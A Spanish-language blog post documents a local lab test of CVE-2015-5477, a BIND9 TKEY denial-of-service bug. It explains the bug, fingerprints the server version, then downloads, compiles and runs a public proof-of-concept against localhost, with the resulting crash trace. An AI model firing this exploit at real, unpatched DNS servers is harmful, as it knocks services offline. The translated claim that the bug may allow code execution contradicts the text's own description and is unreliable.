BIND son las siglas de Berkeley Internet Name Domain, anteriormente: Berkeley Internet Name Daemon y es uno de los servidores DNS más utilizados en Internet. De hecho está mantenido por la Internet Systems Consortium y se considera un estándar de facto. Hace una semana se publicaba una nueva vulnerabilidad crítica en el servidor DNS BIND. La vulnerabilidad catalogada con el CVE-2015-5477 provoca una denegación de servicio total. Sin apenas tiempo de reponerse de la anterior vulnerabilidad CVE-2015-4620 aparecía un exploit funcional para la BIND9 TKEY capaz de tirar el servicio remotamente en las versiones 9.1.0 -> 9.8.x, 9.9.0->9.9.7-P1, 9.10.0->9.10.2-P2. Actualmente la version que corrige esta vulnerabilidad es la 9.10.2-P3. En el github de Robert David Graham puede descargarse uno de estos exploits. Como teníamos curiosidad de probar si realmente el exploit deja el servicio K.O, y ya de paso, si la herramienta de fingerprint (huella digital) fpdns es capaz de detectar estas últimas versiones actualizadas de BIND 9.10.2-P2 y 9.10.2-P3, realizamos esta pequeña prueba.
El exploit de Robert David Graham es muy educativo y merece la pena estudiarlo a fondo.
La descripción de la vulnerabilidad es la siguiente:
Para información de control, la función «TSIG» permite que los paquetes puedan ser firmados con una contraseña. Esto permite que los servidores esclavos puedan obtener actualizaciones de servidores maestros sin un ataque MitM (como de la NSA) cambiando los datos en la red.
Una contraseña puede ser distribuida fuera de banda, tales como SSHing en una caja y editando el archivo de configuración. Otra manera es a través de claves públicas. Esa es la función de «TKEY»: distribuye nuevas contraseñas TSIG utilizando claves públicas.
Al procesar un paquete TKEY, el código llamará a una función para buscar el registro TKEY adecuado. Se busca en dos lugares: la sección «registros de respuesta» y la sección «documentos adicionales». Si no se puede encontrar en el «adicional», se mira en «respuesta».
La función de búsqueda toma un parámetro que se establece inicialmente a NULL. Si la búsqueda ha fracasado en la sección «adicional», se establece ese parámetro en un valor no nulo. Puesto que un valor no nulo se pasa de nuevo durante la segunda búsqueda en la sección «respuesta», el código se bloquea.
El parche fue establecer la variable a NULL antes de la segunda consulta. La solución correcta es simplemente no comprobar si el parámetro era NULL al empezar. Es un parámetro de sólo salida, por lo que el valor de la entrada no importa.
Este es un sólo un error «Brainfart» que sólo puede dar lugar a un accidente del servidor. Puede resultar en una corrupción de datos o ejecución de código.
Para la explotación primero instalamos el servicio:
root@kali:~# wget -O bind-9-10-2-p2.tar.gz https://www.isc.org/downloads/file/bind-9-10-2-p2/?version=tar-gz --2015-08-07 21:05:26-- https://www.isc.org/downloads/file/bind-9-10-2-p2/?version=tar-gz Resolving www.isc.org (www.isc.org)... 149.20.64.69, 2001:4f8:0:2::69 Connecting to www.isc.org (www.isc.org)|149.20.64.69|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 8469608 (8.1M) [application/x-gzip] Saving to: `bind-9-10-2-p2.tar.gz' 100%[======================================>] 8,469,608 40.4K/s in 2m 18s 2015-08-07 21:08:05 (60.1 KB/s) - `bind-9-10-2-p2.tar.gz' saved [8469608/8469608] root@kali:~# tar xvzf bind-9-10-2-p2.tar.gz root@kali:~# cd bind-9.10.2-P2 root@kali:~/bind-9.10.2-P2# ./configure --without-openssl root@kali:~# cd bind-9.10.2-P2 root@kali:~/bind-9.10.2-P2# ./configure --without-openssl root@kali:~/bind-9.10.2-P2# bin/named/named -g 07-Aug-2015 21:47:12.849 starting BIND 9.10.2-P2 -g 07-Aug-2015 21:47:12.881 managed-keys-zone: loaded serial 0 07-Aug-2015 21:47:12.891 all zones loaded 07-Aug-2015 21:47:12.892 running
Primera prueba, ¿Es capaz fpdns de detectar las últimas versiones de BIND?
root@kali:~# fpdns 127.0.0.1 fingerprint (127.0.0.1, 127.0.0.1): ISC BIND 9.2.3rc1 -- 9.6.1-P1 [recursion enabled]
Respuesta: No. (También podíamos haber mirado directamente el código de la herramienta).
Otros métodos de detectar la versión es mediante dig o nslookup consultando el registro CHAOS del DNS.
root@kali:~# nslookup -q=txt -class=CHAOS version.bind. 0 Server: 0 Address: 0.0.0.0#53 version.bind text = "9.10.2-P2"
Vemos que la detección es correcta pero en una configuración segura de un servidor DNS este registro estará ofuscado por lo que no nos servirá el método. En cambio fpdns realiza la detección por métodos heurísticos analizando las respuestas que le devuelve el servidor a ciertas peticiones especialmente diseñadas.
Segunda prueba, tirar el servicio.
Nos bajamos el exploit de Robert, compilamos y ejecutamos:
root@kali:~# wget https://raw.githubusercontent.com/robertdavidgraham/cve-2015-5477/master/tkill.c --2015-08-07 22:12:17-- https://raw.githubusercontent.com/robertdavidgraham/cve-2015-5477/master/tkill.c Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 23.235.43.133 Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|23.235.43.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 13446 (13K) Saving to: `tkill.c' 100%[======================================>] 13,446 --.-K/s in 0s 2015-08-07 22:12:23 (255 MB/s) - `tkill.c' saved [13446/13446] root@kali:~# gcc -o tkill tkill.c root@kali:~# ./tkill 127.0.0.1 --- PoC for CVE-2015-5477 BIND9 TKEY assert DoS --- [+] 127.0.0.1: Resolving to IP address [+] 127.0.0.1: Resolved to multiple IPs (NOTE) [+] 127.0.0.1: Probing... [+] Querying version... [+] 127.0.0.1: "9.10.2-P2" [+] Sending DoS packet... [+] Waiting 5-sec for response... [+] timed out, probably crashed root@kali:~#
El exploit nos dice que probablemente haya tenido éxito. Desde el lado de del servidor (en este caso la misma máquina) vemos que efectivamente se cae el servicio mostrando la traza completa.
07-Aug-2015 21:47:12.892 running 07-Aug-2015 21:56:02.321 client 127.0.0.1#44808: notify question section contains no SOA 07-Aug-2015 22:13:36.972 message.c:2335: REQUIRE(*name == ((void *)0)) failed, back trace 07-Aug-2015 22:13:36.972 #0 0x425903 in assertion_failed()+0x43 07-Aug-2015 22:13:36.972 #1 0x5bbc9a in isc_assertion_failed()+0xa 07-Aug-2015 22:13:36.972 #2 0x4afb13 in dns_message_findname()+0x143 07-Aug-2015 22:13:36.972 #3 0x54f829 in dns_tkey_processquery()+0x129 07-Aug-2015 22:13:36.972 #4 0x43c330 in ns_query_start()+0x400 07-Aug-2015 22:13:36.972 #5 0x41bca0 in client_request()+0x9d0 07-Aug-2015 22:13:36.972 #6 0x5de3bc in run()+0x2dc 07-Aug-2015 22:13:36.972 #7 0x7f15249f1b50 in __do_global_dtors_aux_fini_array_entry()+0x7f1524153a58 07-Aug-2015 22:13:36.972 #8 0x7f15243db95d in __do_global_dtors_aux_fini_array_entry()+0x7f1523b3d865 07-Aug-2015 22:13:36.972 exiting (due to assertion failure) Aborted (core dumped) root@kali:~/bind-9.10.2-P2#
En conclusión este exploit puede dejar fuera de servicio cualquier página web que no haya actualizado su servidor DNS BIND todavía.
Actualización: La gente de Cloudflare ha realizado un análisis muy interesante de la vulnerabilidad ampliando la información aquí descrita.
https://blog.cloudflare.com/a-deep-look-at-cve-2015-5477-and-how-cloudflare-virtual-dns-customers-are-protected/